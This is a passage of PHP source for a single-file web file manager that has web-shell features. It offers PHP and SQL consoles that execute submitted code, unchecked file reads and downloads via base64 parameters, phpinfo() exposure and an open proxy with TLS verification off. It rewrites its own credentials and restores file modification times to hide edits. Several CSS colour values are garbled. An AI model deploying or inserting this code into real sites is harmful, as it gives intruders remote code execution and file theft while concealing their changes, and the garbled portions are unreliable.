		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
